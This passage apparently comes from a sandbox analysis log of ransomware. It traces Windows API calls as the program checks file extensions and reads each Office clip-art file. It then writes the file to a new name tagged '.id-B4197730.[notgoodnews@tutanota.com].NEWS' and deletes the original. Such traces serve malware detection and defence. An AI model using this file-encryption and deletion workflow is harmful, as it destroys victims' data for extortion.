(lpString1=".ppt", lpString2=".WMF") returned -1 [0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.456] lstrlenW (lpString=".zip") returned 4 [0174.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.456] lstrlenW (lpString=".rar") returned 4 [0174.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.456] lstrlenW (lpString=".bz2") returned 4 [0174.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString=".7z") returned 3 [0174.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.457] lstrlenW (lpString=".dbf") returned 4 [0174.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.457] lstrlenW (lpString=".1cd") returned 4 [0174.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.457] lstrlenW (lpString=".jpg") returned 4 [0174.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.457] lstrlenW (lpString=".doc") returned 4 [0174.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString=".docx") returned 5 [0174.457] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.457] lstrlenW (lpString=".pdf") returned 4 [0174.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString=".xls") returned 4 [0174.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.457] lstrlenW (lpString=".xlsx") returned 5 [0174.457] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.457] lstrlenW (lpString=".ppt") returned 4 [0174.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.457] lstrlenW (lpString=".zip") returned 4 [0174.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.457] lstrlenW (lpString=".rar") returned 4 [0174.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString=".bz2") returned 4 [0174.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.457] lstrlenW (lpString=".7z") returned 3 [0174.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.458] lstrlenW (lpString=".dbf") returned 4 [0174.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.458] lstrlenW (lpString=".1cd") returned 4 [0174.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.458] lstrlenW (lpString=".jpg") returned 4 [0174.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.458] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.458] lstrlenW (lpString="J0105246.WMF") returned 12 [0174.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.458] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=19328) returned 1 [0174.458] CloseHandle (hObject=0x36c) returned 1 [0174.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0174.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.459] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.459] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0174.460] GetLastError () returned 0x0 [0174.460] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4b80, lpOverlapped=0x0) returned 1 [0174.471] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4b90, lpOverlapped=0x0) returned 1 [0174.472] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0174.472] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0174.472] SetEndOfFile (hFile=0x474) returned 1 [0174.473] CloseHandle (hObject=0x474) returned 1 [0174.473] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.473] SetEndOfFile (hFile=0x36c) returned 1 [0174.476] CloseHandle (hObject=0x36c) returned 1 [0174.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.478] lstrlenW (lpString=".doc") returned 4 [0174.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.478] lstrlenW (lpString=".docx") returned 5 [0174.478] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.478] lstrlenW (lpString=".pdf") returned 4 [0174.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.478] lstrlenW (lpString=".xls") returned 4 [0174.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.478] lstrlenW (lpString=".xlsx") returned 5 [0174.478] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.478] lstrlenW (lpString=".ppt") returned 4 [0174.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.478] lstrlenW (lpString=".zip") returned 4 [0174.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.478] lstrlenW (lpString=".rar") returned 4 [0174.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.478] lstrlenW (lpString=".bz2") returned 4 [0174.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.478] lstrlenW (lpString=".7z") returned 3 [0174.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.478] lstrlenW (lpString=".dbf") returned 4 [0174.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.478] lstrlenW (lpString=".1cd") returned 4 [0174.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.479] lstrlenW (lpString=".jpg") returned 4 [0174.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.479] lstrlenW (lpString=".doc") returned 4 [0174.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.479] lstrlenW (lpString=".docx") returned 5 [0174.479] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.479] lstrlenW (lpString=".pdf") returned 4 [0174.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.479] lstrlenW (lpString=".xls") returned 4 [0174.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.479] lstrlenW (lpString=".xlsx") returned 5 [0174.479] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.479] lstrlenW (lpString=".ppt") returned 4 [0174.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.479] lstrlenW (lpString=".zip") returned 4 [0174.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.479] lstrlenW (lpString=".rar") returned 4 [0174.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.856] lstrlenW (lpString=".bz2") returned 4 [0174.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.856] lstrlenW (lpString=".7z") returned 3 [0174.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.856] lstrlenW (lpString=".dbf") returned 4 [0174.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.856] lstrlenW (lpString=".1cd") returned 4 [0174.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0174.856] lstrlenW (lpString=".jpg") returned 4 [0174.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.856] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.856] lstrlenW (lpString="J0105294.WMF") returned 12 [0174.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.858] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=5504) returned 1 [0174.858] CloseHandle (hObject=0x550) returned 1 [0174.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0174.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.858] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.858] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.860] GetLastError () returned 0x0 [0174.860] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1580, lpOverlapped=0x0) returned 1 [0174.862] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1590, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0174.863] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0174.863] SetEndOfFile (hFile=0x450) returned 1 [0174.863] CloseHandle (hObject=0x450) returned 1 [0174.864] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.864] SetEndOfFile (hFile=0x550) returned 1 [0174.866] CloseHandle (hObject=0x550) returned 1 [0174.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0174.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.868] lstrlenW (lpString=".doc") returned 4 [0174.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.868] lstrlenW (lpString=".docx") returned 5 [0174.868] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.868] lstrlenW (lpString=".pdf") returned 4 [0174.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.868] lstrlenW (lpString=".xls") returned 4 [0174.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.868] lstrlenW (lpString=".xlsx") returned 5 [0174.868] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.868] lstrlenW (lpString=".ppt") returned 4 [0174.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.868] lstrlenW (lpString=".zip") returned 4 [0174.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.868] lstrlenW (lpString=".rar") returned 4 [0174.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.868] lstrlenW (lpString=".bz2") returned 4 [0174.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.868] lstrlenW (lpString=".7z") returned 3 [0174.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.868] lstrlenW (lpString=".dbf") returned 4 [0174.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.868] lstrlenW (lpString=".1cd") returned 4 [0174.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.868] lstrlenW (lpString=".jpg") returned 4 [0174.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.869] lstrlenW (lpString=".doc") returned 4 [0174.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString=".docx") returned 5 [0174.869] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.869] lstrlenW (lpString=".pdf") returned 4 [0174.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString=".xls") returned 4 [0174.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.869] lstrlenW (lpString=".xlsx") returned 5 [0174.869] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.869] lstrlenW (lpString=".ppt") returned 4 [0174.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.869] lstrlenW (lpString=".zip") returned 4 [0174.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.869] lstrlenW (lpString=".rar") returned 4 [0174.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString=".bz2") returned 4 [0174.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString=".7z") returned 3 [0174.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.869] lstrlenW (lpString=".dbf") returned 4 [0174.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.869] lstrlenW (lpString=".1cd") returned 4 [0174.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0174.869] lstrlenW (lpString=".jpg") returned 4 [0174.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.870] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.870] lstrlenW (lpString="J0105298.WMF") returned 12 [0174.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.871] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6320) returned 1 [0174.871] CloseHandle (hObject=0x550) returned 1 [0174.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0174.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0174.872] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.872] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.873] GetLastError () returned 0x0 [0174.873] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x18b0, lpOverlapped=0x0) returned 1 [0174.875] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x18c0, lpOverlapped=0x0) returned 1 [0174.876] ReadFile (in: hFile=0x550, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0174.876] WriteFile (in: hFile=0x450, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0174.876] SetEndOfFile (hFile=0x450) returned 1 [0174.876] CloseHandle (hObject=0x450) returned 1 [0174.876] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.876] SetEndOfFile (hFile=0x550) returned 1 [0174.879] CloseHandle (hObject=0x550) returned 1 [0174.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0174.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.880] lstrlenW (lpString=".doc") returned 4 [0174.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.880] lstrlenW (lpString=".docx") returned 5 [0174.880] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.880] lstrlenW (lpString=".pdf") returned 4 [0174.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.880] lstrlenW (lpString=".xls") returned 4 [0174.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.880] lstrlenW (lpString=".xlsx") returned 5 [0174.880] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.880] lstrlenW (lpString=".ppt") returned 4 [0174.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0174.881] lstrlenW (lpString=".zip") returned 4 [0174.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.881] lstrlenW (lpString=".rar") returned 4 [0174.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.881] lstrlenW (lpString=".bz2") returned 4 [0174.881] lstrcmpiW (lpString1=".bz2", 